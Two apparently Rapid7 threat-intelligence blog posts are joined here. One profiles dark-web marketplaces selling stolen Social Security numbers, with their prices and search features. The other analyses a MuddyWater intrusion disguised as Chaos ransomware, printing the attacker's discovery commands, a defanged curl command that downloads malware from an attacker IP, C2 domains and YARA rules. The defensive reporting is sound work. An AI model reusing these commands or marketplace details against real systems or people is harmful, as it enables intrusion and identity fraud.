Introduction

Despite modern verification controls, identity theft remains one of the most pervasive threats to both individuals and enterprise organizations. U.S. Federal Trade Commission statistics show over 1 million identity theft reports annually, with related fraud and imposter scams accounting for billions in financial losses each year. While stolen credit cards enable rapid, short-term monetization, Social Security numbers (SSNs) represent a far more permanent and dangerous tier within the cybercrime ecosystem, because unlike payment cards, they cannot simply be deactivated. Once exposed, an SSN can support enabling unauthorized lines of credit, synthetic identity fraud, and sophisticated tax scams.

When exposed identity data belongs to corporate executives, board members, and other high-profile employees, the risk can extend beyond the individual. Threat actors target these high-profile individuals not just for their premium credit profiles, but to leverage their compromised identities for executive impersonation, corporate espionage, and downstream extortion. Rapid7’s recent alert telemetry underscores the severity of this targeted exposure: since early 2026 alone, we identified 476 instances of compromised SSN records across 395 unique corporate personnel. Over 73% of these exposures directly targeted top-level leadership, with C-suite executives comprising 44.6% of affected profiles and Presidents making up another 28.6%. Unsurprisingly, given the geographical nature of SSNs, 95.6% of these leaks stemmed from U.S.-headquartered organizations, concentrated heavily in high-value sectors like Financials (over 25%) and Industrials (17%).

In this blog, we explore the operational mechanics of the underground identity economy, focusing on three dominant SSN marketplaces tracked by Rapid7: Xilo, Bankom, and PeopleFinder, which together account for 81.5% of all executive SSN leaks in our dataset (led by Xilo at 40.8%, Bankom at 21.8%, and PeopleFinder at 18.9%). Using Rapid7 alert telemetry from the past year, we look at the profiles of affected corporate executives, how these marketplaces operate, and highlight how proactive dark web monitoring can mitigate upstream identity exposure before it is weaponized.

Why stolen SSNs retain their value

Not all stolen data retains its value for the same length of time. Leaked credentials can be reset, payment cards can be cancelled, and session tokens eventually expire. While these data types remain highly sought after by cybercriminals, their usefulness often depends on acting quickly before the victim or service provider invalidates them.

SSNs differ as they are effectively permanent, serving as a core identity attribute. Once exposed, they can remain valuable for years, enabling a wide range of fraud schemes long after the original breach. When combined with other personally identifiable information (PII), such as a victim's name, date of birth, address, phone number, and employment history, an SSN becomes the foundation of a comprehensive identity profile that can be bought, sold, and repeatedly abused across the criminal ecosystem.

These identity profiles enable far more than traditional identity theft. Threat actors use them to open fraudulent financial accounts, create synthetic identities, bypass identity verification processes, file fraudulent tax or government benefit claims, and support highly targeted social engineering campaigns. Rather than serving a single purpose, a complete identity record becomes a reusable asset that can be monetized multiple times by different threat actors.

For corporate executives and other high-profile employees, exposed identity data can also create risk for the organization they represent. Publicly available information, from regulatory filings to corporate biographies and social media, can be combined with stolen identity data to build highly detailed profiles. These enriched records increase the credibility of phishing, business email compromise (BEC), and executive impersonation attacks, allowing threat actors to target not only the individual but also the organization they represent.

This durability has fueled a thriving underground economy where identity records are treated as searchable, reusable inventory rather than one-time commodities. The marketplaces examined in this research demonstrate just how mature and accessible this ecosystem has become.

Anatomy of an SSN marketplace

While platforms like Xilo, Bankomat, and PeopleFinder present a highly organized, user-friendly storefront, they operate strictly as downstream clearinghouses rather than original creators of their inventory. The vast supply of SSNs flooding these networks relies on a distinct, multi-tiered underground supply chain. The massive volume driving these platforms is primarily fueled by large-scale institutional network breaches, where wholesale hackers compromise data aggregators, healthcare systems, and financial providers. These massive SQL databases are sold in bulk on deep-web forums, where marketplace administrators purchase, parse, and upload them into their searchable storefronts. According to annual telemetry from the Identity Theft Resource Center, billions of individual data records are exposed annually through these mega-breaches, accounting for the vast majority of the inventory available online.

Another source of identity data comes from infostealer malware and targeted phishing campaigns. While mass breaches provide wholesale numbers, infostealers scrape highly contextual local data, such as saved browser forms and PDF documents like tax returns or corporate onboarding paperwork stored on unmanaged personal devices. When these localized logs are parsed by marketplace administrators, they yield the fresh, high-value identity profiles that allow buyers to target specific corporate leaders.

Although these platforms tap into a similar upstream supply chain, how they package and monetize this data varies significantly. To stand out in a maturing, highly competitive cybercrime market, each marketplace focuses on its own operational niche, ranging from ultra-low pricing and identity enrichment features to multi-asset carding integration and legacy data consistency. The following sections provide a deep dive into each marketplace, highlighting their specific functionalities, user interfaces, and distinct market advantages.

Xilo 

Xilo has been active since at least March 2025. The marketplace is hosted as a Tor hidden service, while also maintaining mirror sites on the clear web to improve accessibility and resilience.

Users can search for specific individuals by name, state, country (US or Canada), or year of birth (Figure 1). They can also request records that include phone numbers and email addresses in addition to the victim's SSN. This can increase the value of the records by reducing the need for threat actors to source additional PII elsewhere. During our analysis, however, we did not identify any records that included email addresses, while records containing phone numbers were available at the same price as standard SSN records. Search results can also be sorted by price, although the cost appears to be fixed at $0.25 per SSN record.

⠀

Search results typically display the victim's full name, physical address, and date of birth before purchase. This information alone can help threat actors identify specific individuals for targeted campaigns, while the SSN is revealed only after the purchase is completed (Figure 2).

⠀

In addition to standard searches, Xilo offers a reverse lookup service that accepts an SSN or phone number and returns additional PII, including the victim's full name and phone number (Figure 3). This service costs $0.50 per lookup, suggesting that enriching an existing identity profile is considered more valuable than purchasing an SSN alone. Threat actors can use this functionality to expand records obtained through the standard search, increasing the amount of PII associated with a single individual and, consequently, the potential for identity fraud.

⠀

The marketplace is supported by a Telegram channel used to announce technical updates and new domains. Although activity on the channel has been relatively limited, it has attracted more than 500 subscribers, providing an indication of interest in the service. Like many established cybercriminal services, Xilo appears prepared for domain disruptions by maintaining alternative access points and communicating them through Telegram, adopting the kind of resilience and service-continuity practices more commonly associated with legitimate online services.

Xilo accepts several cryptocurrencies, including Bitcoin, Litecoin, Monero, Ether, and Tether (USDT). Support for USDT is relatively uncommon among underground marketplaces and may reflect the marketplace's focus on US-based identity data. The minimum deposit is just $1, lowering the barrier to entry for new users, while bonuses are offered for deposits exceeding $100 to encourage larger account balances.

Beyond its own infrastructure, Xilo actively advertises on well-known cybercrime forums, including XSS, as well as carding communities such as WWH-Club and Altenens (Figure 4). This marketing strategy is common among underground marketplaces seeking to expand their customer base. More notably, Xilo's presence on carding-focused forums highlights the close relationship between stolen payment data and identity information, illustrating how different segments of the cybercrime ecosystem increasingly overlap and complement one another.

Bankomat

Active since at least March 2022, Bankomat is one of the more established marketplaces operating in the underground identity theft ecosystem. The platform is accessible as a Tor hidden service while maintaining multiple clear web domains to improve availability. Its emergence coincided with the shutdown of several prominent carding and PII marketplaces, including Joker's Stash and SSNDOB Marketplace, suggesting that Bankomat sought to capitalize on the resulting gap by combining identity data sales with traditional carding services.

The marketplace prominently lists its active domains and encourages users to save its onion address, describing it as the most reliable way to access the service. This reflects an awareness of the operational challenges faced by long-running underground marketplaces, particularly the risk of domain seizures and takedowns. By maintaining multiple access points and actively directing users toward its Tor service, Bankomat demonstrates the operational maturity needed to retain its customer base despite infrastructure disruptions.

Users can search for individuals by first and last name, combined with an additional identifier such as state, city, ZIP code, or date of birth (Figure 5). The search functionality is free, allowing users to identify potential victims before deciding whether to purchase a record. Search results display the victim's full name, date of birth, and physical addresses, while the SSN is revealed only after purchase at a fixed cost of $4 per record. Unlike Xilo, however, Bankomat does not offer additional identity enrichment services or the ability to purchase supplementary PII directly through the platform.

⠀

Beyond SSN records, Bankomat also functions as a traditional carding marketplace by offering stolen payment card details for sale, obtained through third-party sellers. The platform supports card validation services, including Viper and 4chk, allowing buyers to verify whether stolen payment cards remain active before using or reselling them. Similar functionality is offered by established carding marketplaces, such as Findsome and UltimateShop.

This combination of identity records, payment card data, and validation tools positions Bankomat as a one-stop marketplace for financially motivated threat actors. Rather than sourcing stolen identities and payment data from separate platforms, buyers can acquire multiple data types associated with the same victim through a single service. While SSN records cost $4, stolen payment card details are typically advertised for approximately $10, suggesting that Bankomat places greater commercial emphasis on its carding business, likely reflecting both higher profit margins and sustained demand within the underground economy (Figure 6).

⠀

Bankomat currently accepts payments exclusively in Bitcoin, in contrast to newer marketplaces that increasingly support a wider range of cryptocurrencies to appeal to a broader customer base.

PeopleFinder

Active since at least February 2023, PeopleFinder is a successor to the SSNDOB Marketplace, whose primary domains were seized by law enforcement in June 2022. Following that takedown, the service re-emerged through a network of lookup mirrors using clear-web-sounding domain names such as “PeopleFinder.” The connection is also visible in the source code, where the front-end login page retains the original “ssndob” title text and logo. Through this infrastructure, the platform provides access to the same legacy database of more than 24 million compromised U.S. PII records.

To maintain a steady customer stream, PeopleFinder actively advertises its database on high-profile cybercrime and carding forums like WWH-Club and Exploit. This deliberate marketing keeps the service highly visible to financially motivated threat actors seeking verification tools for downstream fraud.

The layout itself is highly streamlined, featuring a basic search bar that closely mirrors Bankomat's interface. Users can search the platform's database by name, date of birth, or physical address completely free of charge. The initial search output displays the victim's full name, date of birth, and associated physical addresses, allowing a threat actor to confirm they have targeted the correct corporate executive before paying for the record (Figure 7).

To reveal the hidden SSN, users must pay a fixed cost of $1.50 per lookup, putting its pricing structure right between Xilo and Bankomat. This strict, hyper-commoditized focus solely on core SSN details directly mirrors the operational blueprint of the original SSNDOB model. Rather than expanding into supplementary data types like phone numbers or credit cards, the operators chose to preserve their highly efficient, legacy pay-per-lookup infrastructure. The platform relies exclusively on Bitcoin transactions.

What Rapid7 telemetry reveals about the executive threat landscape

By monitoring dark web SSN marketplaces, Rapid7 actively alerts clients when leaked records of their executives or designated employees are discovered.

Since the beginning of 2026, our telemetry has identified 476 instances of compromised SSN records, representing 395 unique individuals, as several monitored personnel were affected by multiple exposures. Within this sample, most of the leaked SSNs were recorded in Xilo (40.8%), followed by Bankom (21.8%) and PeopleFinder (18.9%) (Figure 8).

⠀

Given that SSNs are issued within the United States, the overwhelming majority of compromised records in our dataset, 95.6%, were linked to organizations headquartered in the U.S., with others located in Spain, Canada, and Japan, trailing significantly behind (Figure 9).

⠀

Financials represented the largest sector in our sample, accounting for more than a quarter of organizations whose monitored executives appeared in leaked SSN records, followed by Industrials at 17% (Figure 10). One possible reason for the concentration in Financials is the volume and sensitivity of customer and employee data these organizations hold, including PII and tax-related information, which can make exposed identities particularly valuable to threat actors. Industrials may also present attractive targets because of their interconnected supply chains, where compromised identities can potentially support broader fraud, impersonation, or access attempts across partner ecosystems.

⠀

A closer analysis of the roles of targeted personnel reveals that C-suite executives (such as Chief Executive Officers and Chief Financial Officers) make up the largest portion at 44.6%. Presidential positions represent the second-largest segment at 28.6%, while functional management and administrative roles account for 13.9% of the compromised profiles.

These findings may reflect a natural monitoring bias, since organizations are more likely to prioritize senior personnel whose compromise poses a greater security risk. Even with that caveat, the concentration among senior leadership reinforces why executive identity exposure deserves specific attention.

Compromised executive PII can support targeted phishing, impersonation, and other social engineering campaigns against both the individual and the organization they represent.

From detection to action: Responding to exposed executive PII

Because SSNs cannot simply be reset after exposure, organizations need a way to identify compromised executive PII early and determine what action can reduce the resulting risk.

These alerts are triggered using customer-defined assets, specifically the names of designated VIPs. When a potential match is flagged, Rapid7 analysts conduct preliminary OSINT verification, checking biographical details such as the VIP's date of birth and primary locations, to confirm the listing's accuracy before issuing an alert to the customer.

Once alerted, customers can choose to purchase the exposed SSN record directly through the "Ask-an-Analyst" service using their allocated dark web purchase credits (Figure 11). This capability allows security teams to inspect the full record, verify whether the exposed SSN is genuine, and determine whether additional protective measures are necessary for the affected executive. Furthermore, on platforms like Xilo, purchasing the listing removes the record from the marketplace entirely, actively taking it off the shelf before other threat actors can acquire it.

Conclusion and strategic defense actions

The illicit marketplaces examined by Rapid7 show how cheaply and efficiently stolen identity data can now be searched, purchased, and enriched. For executives and other high-profile employees, an exposed SSN can remain useful to threat actors long after the original compromise and may support identity fraud, social engineering, executive impersonation, or business email compromise. Because that information cannot simply be reset, organizations should treat executive identity exposure as an ongoing security risk.

To reduce that risk, executive protection and security teams should consider the following actions:

• Monitor executive exposure on the dark web: Use digital risk protection capabilities configured with executive names, known locations, titles, and other relevant identifiers to detect compromised PII across illicit marketplaces and underground channels.

• Use removal or takedown options where available: Where supported, work with security providers to acquire or remove exposed identity records before they are purchased and reused by other threat actors.

• Reduce executives’ public digital footprint: Review public records, data-broker listings, corporate biographies, and social media profiles to limit unnecessary exposure of information such as dates of birth, home addresses, and phone numbers that can be used to enrich stolen records.

• Require out-of-band verification for sensitive requests: Introduce mandatory secondary confirmation for financial transactions, access requests, or administrative changes involving executive accounts to reduce the risk of successful impersonation.

• Provide targeted phishing and impersonation training: Give C-suite members, board members, and executive assistants focused guidance on how attackers can combine leaked PII with social engineering to make phishing and impersonation attempts more convincing.

The persistence of SSNs means the risk does not end when the original breach is discovered. Ongoing monitoring, rapid validation, and stronger verification controls can help organizations identify exposure earlier, reduce the value of stolen identity data, and make it harder for threat actors to turn compromised executive information into a wider attack against the business.

Executive summary

In early 2026, a sophisticated intrusion initially appearing to be a standard Chaos ransomware attack was assessed to be consistent with a targeted state-sponsored operation. While the threat actor operated under the banner of the Chaos ransomware-as-a-service (RaaS) group, forensic analysis revealed the incident was a "false flag" masquerade. Technical artifacts, including a specific code-signing certificate and Command-and-Control (C2) infrastructure, suggest with moderate confidence that this activity is linked to MuddyWater (Seedworm), an Iranian Advanced Persistent Threat (APT) affiliated with the Ministry of Intelligence and Security (MOIS).

The campaign was characterized by a high-touch social engineering phase conducted via Microsoft Teams, where the attackers utilized interactive screen-sharing to harvest credentials and manipulate Multi-Factor Authentication (MFA). Once inside, the group bypassed traditional ransomware workflows, forgoing file encryption in favor of data exfiltration and long-term persistence via remote management tools like DWAgent. This report deconstructs the infection chain and analyzes the custom "Game.exe" Remote Access Trojan (RAT).

Additionally, this explores the process by which MuddyWater is increasingly leveraging the cybercriminal ecosystem to provide plausible deniability for geopolitical espionage and prepositioning, particularly in the US. The strategy highlights the convergence between state-sponsored intrusion activity and criminal tradecraft, where a big “tell” lies in the techniques that were deployed – and those that weren’t.

This overall strategy suggests the primary goal was not financial gain. It is also further proof of the lines blurring against the background of geopolitical tensions, and that attribution is becoming more difficult if teams do not take it upon themselves to conduct proper and thorough research.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

Chaos ransomware: Profile and targeting

Active since February 2025, Chaos is a ransomware-as-a-service (RaaS) operation specializing in big-game hunting (BGH) attacks against high-profile organizations, with reported ransom demands reaching up to $300,000. Despite the name, it is distinct from the Chaos malware builder identified in 2021. The group emerged shortly after the July 2025 law enforcement disruption of BlackSuit infrastructure during Operation Checkmate and is likely composed of former BlackSuit and/or Royal members. To expand its operations, Chaos advertises its affiliate program on cybercrime forums, such as RAMP (prior to its takedown) and RehubCom.

Chaos relies heavily on social engineering and remote access abuse to gain initial access. Rapid7 observed techniques that include spam email flooding combined with voice-based phishing (vishing), often involving impersonation of IT support personnel. Chaos then persuades victims to grant remote access via legitimate tools such as Microsoft Quick Assist, allowing operators to establish an initial foothold.

In line with common ransomware practices, Chaos typically employs double extortion, exfiltrating sensitive data prior to encryption and threatening public disclosure via its data leak site (DLS). The group has also demonstrated triple extortion by threatening distributed denial-of-service (DDoS) attacks against the victim's infrastructure. These capabilities are reportedly offered to affiliates as part of bundled services, representing a notable feature of its RaaS model. Additionally, Chaos has been observed leveraging elements of quadruple extortion, including threats to contact customers or competitors to increase pressure on victims.

A distinguishing characteristic of the group’s DLS is the use of a “blind” countdown timer, which withholds the victim’s identity until expiration, likely intended to accelerate negotiations (Figure 1). As of late March 2026, Chaos has claimed 36 victims and maintained a consistent operational tempo (Figure 2). The group predominantly targets organizations in the United States, with a particular focus on the construction, manufacturing, and business services sectors (Figure 3).

⠀

⠀

Incident overview

The intrusion that Rapid7 investigated began with a targeted social engineering campaign leveraging Microsoft Teams, where the threat actor (TA) engaged employees through external chat requests. By operating interactively through compromised users, the attacker conducted initial discovery, harvested credentials, including MFA manipulation, and quickly transitioned to using legitimate accounts for internal access.

From there, the TA established persistence using remote access tools such as DWAgent and AnyDesk, before deploying additional payloads and further control of the environment. Following this, the TA exfiltrated data from the compromised environment and subsequently contacted the victim via email, claiming data theft and initiating ransom negotiations (Figure 4).

Initial Access via social engineering and remote interaction

The TA achieved initial access through social engineering conducted via Microsoft Teams, where they initiated one-on-one chats with users from a controlled account. During these interactions, the TA established screen-sharing sessions, gaining direct visibility and interactive access to user assets.

While connected, the TA executed basic discovery commands, accessed files related to the victim’s VPN configuration, and instructed users to enter their credentials into locally created text files. In at least one instance, the TA deployed a remote management tool (AnyDesk) to further facilitate access.

⠀

ipconfig /all
nslookup
net start
whoami
ping

Figure 5: Discovery commands executed by the TA

⠀

Credential harvesting and account compromise

A key component of the intrusion involved interactive credential harvesting: The TA explicitly instructed victims to enter credentials into locally created text files (credentials.txt, cred.txt) and to modify MFA configurations to include attacker-controlled devices.

Additionally, Rapid7’s analysis of browser artifacts revealed access to the URL hxxps[://]adm-pulse[.]com/verify.php.

The URL mimicked a Quick Assist themed phishing page, indicating credential harvesting through impersonation.

Establishing initial foothold and remote access

Following credential compromise, the TA authenticated to internal systems, including a Domain Controller, using multiple compromised accounts. They then established persistent remote access through RDP sessions and deployment of the remote management tool DWAgent. The DWAgent installation chain included:

⠀

Table 1: Files observed during installation of DWAgent

Payload delivery and execution

The TA later executed commands via RDP to download additional payloads using curl:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

After the download, the TA executed the binary ms_upd.exe, initiating a multi-stage infection chain. 

Upon successful execution, ms_upd.exe downloaded additional components:

⠀

Table 2: Components downloaded by ms_upd.exe

Lateral movement 

The TA expanded access within the environment by leveraging compromised accounts and establishing remote access channels. They used RDP sessions to move between systems, allowing them to operate interactively and access additional resources within the network.

Extortion activity and data leak claims

The TA distributed emails to multiple users, alleging successful data exfiltration, and provided a .onion link for negotiation. Open-source intelligence (OSINT) collection identified a corresponding entry on the Chaos DLS referencing data; however, all identifying details were redacted, as per the group’s typical “blind” countdown timer. 

A subsequent email introduced a new contact address and instructed recipients to locate a note allegedly placed within their Desktop directory containing “access credentials” for a secure chat. Rapid7 conducted a threat hunt across all assets that focused on files created or accessed within Desktop directories and subdirectories and did not identify any artifacts consistent with the TA’s claims. The victim further validated the affected user systems and confirmed the absence of such files. Despite these inconsistencies in the initial proof-of-compromise, the TA later published the stolen data on its DLS in line with modern extortion tactics. The victim confirmed that the leaked data was legitimate.

Malware analysis

ms_upd.exe 

The binary functions as a downloader that begins by collecting basic host information, including computer name, username, and domain. This data is used to generate a unique client identifier, concatenating computer name, username, and tick count, which is sent to the C2 server moonzonet[.]com via a /register request, followed by periodic /check requests to determine the execution flow.

Based on the C2 response, the malware either proceeds when receiving an “approved” status or retries registration, if instructed. Once approved, it reports a “downloading” status and prepares a working directory under the user’s Downloads folder (falling back to C:\Users\Public\Downloads if necessary).

The dropper then retrieves three payload components from the C2:

• Game.dll (saved as WebView2Loader.dll)

• Game.exe

• Game.config (saved as visualwincomp.txt)

If all downloads succeed, the malware reports a “running” status and executes the primary payload - Game.exe. Execution success is monitored, with the result communicated back to the C2 as either “success” or “error”. Upon successful execution, the dropper triggers a self-deletion routine via a delayed command cmd.exe /c ping 127.0.0.1 -n 6 > nul && del /f /q \"%s\".

⠀

As seen in Figure 6, the malware doesn’t use any form of obfuscation to hide its purpose - API imports are statically resolved, and strings are stored in a plaintext form. This simplicity suggests the tool was likely developed for limited or single-use deployment.

At the time of writing, only two samples have been observed in public repositories, both exhibiting identical functionality.

Game.exe

Game.exe is a custom RAT that masquerades as a legitimate Microsoft WebView2 application. Analysis of the binary's PDB path C:\Users\pc\Downloads\WebView2Samples-main\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb confirms that the developer trojanized the official Microsoft WebView2APISample project: https://github.com/MicrosoftEdge/WebView2Samples/tree/main/SampleApps/WebView2APISample. 

The malware deviates from the dropper in a way that it implements some obfuscation and anti analysis techniques: 

Table 3: Anti analysis / anti detection techniques used by Game.exe

⠀

If the malware does not detect an analysis environment,, it establishes persistence by self-installing into a randomized directory under C:\ProgramData\visualwincomp-<random>\, where it copies itself alongside a legitimate WebView2Loader.dll and an encrypted configuration file, visualwincomp.txt.

Additionally, the malware enforces single execution on an infected host by registering the mutex ATTRIBUTES_ObjectKernel.

The RAT decrypts its configuration using AES-256-GCM to extract the attacker’s C2 server hostname uploadfiler[.]com and port 443. The malware first registers the victim by sending registration information such as computer name, username, and privilege level to the /home endpoint. Once registered, it enters an infinite loop polling /index.php every 60 seconds. The RAT features 12 core capabilities including arbitrary command execution via hidden cmd.exe or encoded PowerShell sessions; file uploads with retry logic; file deletion; and the establishment of persistent interactive shells. Command results and execution status are reported back to the /profile endpoint. 

Table 4: Supported commands of the RAT

⠀
The malware design is unorthodox, characterized by an inconsistent approach to concealment. While it utilizes XOR encoding (key: 0xAB) to hide specific anti-analysis strings, such as VM detection keys and sandbox-related DLL names, critical indicators like file paths, RAT command strings, and JSON registration formats are left in plaintext. 

This inconsistency extends to its interaction with the Import Address Table (IAT). While the malware dynamically resolves certain sensitive APIs at runtime, such as CreateMutexA, other highly suspicious functions like CreatePipe and CreateProcessA remain statically linked. Notably, the developer dynamically loads the Sleep API via GetProcAddress despite it already being statically imported in the IAT.

These architectural discrepancies suggest the author is likely an unseasoned developer. The mixture of static imports and visible strings provides significant telemetry for AV and EDR solutions to identify and stop the threat (confirmed during the incident response).

Similar to ms_upd.exe during the hunt on public malware sharing platforms, we were able to find another sample (SHA256 3df9dcc45d2a3b1f639e40d47eceeafb229f6d9e7f0adcd8f1731af1563ffb90), implementing the same logic as Game.exe but masquerading itself as WebView2.exe.

Attribution remains challenging due to the absence of specialized attack patterns or known APT delivery vectors, such as NSIS used by Chinese APTs:

• Read blog: NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign

• Read blog: The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit

However, the presence of a specific signing Certificate and work of other threat researchers made it easier.

Certificate

While the TA adopted the Chaos Ransomware brand to project a cybercriminal identity, the underlying infrastructure reveals a signature previously associated with infrastructure linked to the Iranian Ministry of Intelligence and Security (MOIS). The primary technical bridge to the APT group MuddyWater (Seedworm) is the code-signing certificate used to validate the malware samples.

During the analysis of the downloader (ms_upd.exe), we identified a consistent digital signature:

Table 5: Certificate details

⠀

The "Donald Gay" certificate is a known shared resource within MuddyWater’s toolkit. Alongside its frequent companion, "Amy Cherne," this identity forms a distinct cluster of Iranian MOIS-affiliated infrastructure. According to threat intelligence reports from March and April 2026, this specific certificate has been tied directly to MuddyWater’s "Operation Olalampo," a campaign targeting organizations across the U.S. and the MENA (Middle East and North Africa) regions. Historically, this identity was also used to sign Stagecomp (ms_upd.exe), a downloader for the Darkcomp backdoor (Game.exe), both of which are firmly attributed to MuddyWater by multiple global security vendors.

Beyond the certificate, other technical artifacts solidify this attribution:

• Infrastructure overlap: The domain moonzonet[.]com, which served as the C2 for ms_upd.exe, was linked to MuddyWater in early 2026 during a wave of activity targeting Israeli and Western organizations.

• Execution tradecraft: The group’s signature use of pythonw.exe to inject code into suspended processes remains a consistent hallmark of their deployment chain.

• Social engineering technique: The use of interactive Microsoft Teams sessions to harvest MFA and credentials aligns closely with the "IT Support" persona MuddyWater has refined throughout 2026.

Attribution: The "Chaos" masquerade

The convergence of technical and contextual evidence is consistent with attribution to MuddyWater with moderate confidence. The observed use of Chaos ransomware does not indicate a shift in the group’s underlying objectives, but rather reflects a consistent effort to obscure operational intent and complicate attribution. While attribution evasion is a common characteristic of state-affiliated actors, MuddyWater’s reported increase in operational activity as of early 2026, primarily involving cyber espionage and potential prepositioning for disruptive operations across Western and Middle Eastern networks, has likely intensified its reliance on deceptive false-flag operations.

This assessment aligns with previously observed behavior. In late 2025, MuddyWater was linked to activity involving the Qilin RaaS ecosystem in an operation targeting an Israeli organization. Following the subsequent public attribution of that incident to the MOIS, it is plausible that the group adopted alternative ransomware branding, in this case Chaos, in an effort to reduce attribution risk and maintain a degree of plausible deniability.

The use of a RaaS framework in this context may enable the actor to blur distinctions between state-sponsored activity and financially motivated cybercrime, thereby complicating attribution. Furthermore, the inclusion of extortion and negotiation elements could serve to focus defensive efforts on immediate impact, likely delaying the identification of underlying persistence mechanisms established via remote access tools such as DWAgent or AnyDesk.

Notably, the apparent absence of file encryption, despite the presence of Chaos ransomware artifacts, represents a deviation from typical ransomware behavior. This inconsistency may indicate that the ransomware component functioned primarily as a facilitating or obfuscation mechanism, rather than as the primary objective of the intrusion. This deviation highlights a mismatch between typical profit-driven ransomware behavior and the actor’s apparent espionage objectives. It further suggests a likely explanation for the inconsistent data provided by the TA as an initial proof-of-compromise. 

Taken together, these technical indicators and procedural inconsistencies are indicative of a targeted, state-sponsored intrusion masquerading as opportunistic extortion activity.

Conclusion

This incident highlights the increasing convergence between state-sponsored intrusion activity and cybercriminal tradecraft. While the operation incorporated recognizable elements of ransomware campaigns, such as extortion messaging and leak site publication, the absence of encryption and the presence of established espionage techniques suggest that financial gain was unlikely to be the primary objective.

The assessed link to MuddyWater indicates a continued evolution in the group’s operational approach, including the apparent use of RaaS ecosystems and branding to obscure attribution. This aligns with broader trends in which state-aligned actors adopt criminal tactics to introduce ambiguity and delay defensive response.

This case underscores the importance of looking beyond overt ransomware indicators. Defenders should also focus on the underlying intrusion lifecycle. Techniques such as social engineering via enterprise communication platforms, credential harvesting with MFA manipulation, and the abuse of legitimate remote access tools remain critical enablers of compromise.

Ultimately, this activity is best understood as a hybrid intrusion model, in which ransomware is leveraged not as an end goal but as a mechanism for concealment, coercion, and operational flexibility within a broader intelligence-driven campaign.

For additional blog posts and detailed analysis from Rapid7 Labs on all things cyber-related to the conflict, please visit our Iran Conflict Cyber Threat Intelligence Hub.

Rapid7 Customers

Indicators of compromise (IoCs)

File indicators

⠀

Network indicators

⠀

MITRE ATT&CK techniques

⠀

YARA rules

rule MuddyWaterRAT{

	meta:
		author = "Ivan Feigl ivan_feigl@rapid7.com"
		description = "Hunting rule for the RAT used by the MuddyWater, based on plain text string. Original sample MD5 F8560B9A893EEB2130FC7159E9C1B851"

strings:


		//TKP - Token privilege 
		$TKP1 = "System"
		$TKP2 = "Admin"
		$TKP3 = "User"

        // DF - Data format
		$DF1 = "\"computer_name\":\""
		$DF2 = "\"username\":\"" 
		$DF3 = "\"domain\":\"" 
		$DF4 = "\"local_ip\":\"127.0.0.1\"" 
		$DF5 = "\"privilege\":\"" 
		$DF6 = "\"process_name\":\"agent-" 
		$DF7 = "\"version\":\"E.1.0\"" 
		$DF8 = "\"sleep_time\":60" 


        //IAT - Import address table
        $IAT1   = "GetComputerNameA"
        $IAT2   = "GetUserNameA"
        $IAT3   = "NetWkstaGetInfo"
        $IAT4   = "NetApiBufferFree"
        $IAT5   = "AllocateAndInitializeSid"
        $IAT6   = "OpenProcessToken"
        $IAT7   = "GetTokenInformation"
        $IAT8   = "EqualSid"
        $IAT9   = "CheckTokenMembership"

        //MSC - misc
        $MSC1 = "re_register"
        $MSC2 = "cmd_id"
        $MSC3 = "cmd_id"
        $MSC4 = "run_cmd"
        $MSC5 = "cmd_line"
        $MSC6 = "run_powershell"

		condition:
			uint16(0) == 0x5A4D  and all of($TKP*) and all of($DF*) and all of($IAT*) and all of ($MSC*) 
}

rule MuddyWaterDownloader{

	meta:
		author = "Ivan Feigl ivan_feigl@rapid7.com"
		description = "Hunting rule for the downloader used by the MuddyWater, based on plain text string. Original sample MD5 439C0A0A46627BD166E08436F383AD56"

	strings:


		//ST - Status
		$ST1 = "downloading"
		$ST2 = "running"
		$ST3 = "success"
		$ST4 = "error"

		//SFF - Scanf formats
		$SFF1 = "EXIT_%lu"
		$SFF2 = "RUN_%lu"
		$SFF3 = "DL_%s"

		//ICO - Internet communication operation 
		$ICO1 = "/register" ascii wide
		$ICO2 = "/check" ascii wide
		$ICO3 = "/status" ascii wide
        $ICO4 = "GET" ascii wide
        $ICO5 = "POST" ascii wide
        $ICO6 = "CONN_ERR" ascii wide
        $ICO7 = "REQ_ERR" ascii wide
        $ICO8 = "SEND_ERR" ascii wide
        $ICO9 = "RECV_ERR" ascii wide
        $ICO10 = "HTTP_%lu" ascii wide

        //FO - File operation
        $FO1 = "wb"
        $FO2 = "EMPTY"
        $FO3 = "FILE_ERR"

        // DF - Data format
        $DF1 = "\"client_id\":\"%s\""
        $DF2 = "\"status\":\"%s\""
        $DF3 = "\"error_code\":\"%s\""

        //IAT - Import address table
        $IAT1   = "GetLastError"
        $IAT2   = "Sleep"
        $IAT3   = "WinHttpOpen"
        $IAT4   = "WinHttpConnect"
        $IAT5   = "WinHttpOpenRequest"
        $IAT6   = "WinHttpSendRequest"
        $IAT7   = "WinHttpReceiveResponse"
        $IAT8   = "WinHttpReadData"
        $IAT9   = "WinHttpCloseHandle"
        $IAT10  = "DeleteFileA"



		condition:
			uint16(0) == 0x5A4D  and all of($ST*) and all of($SFF*) and all of($ICO*) and all of ($FO*) and all of ($DF*) and all of ($IAT*)
}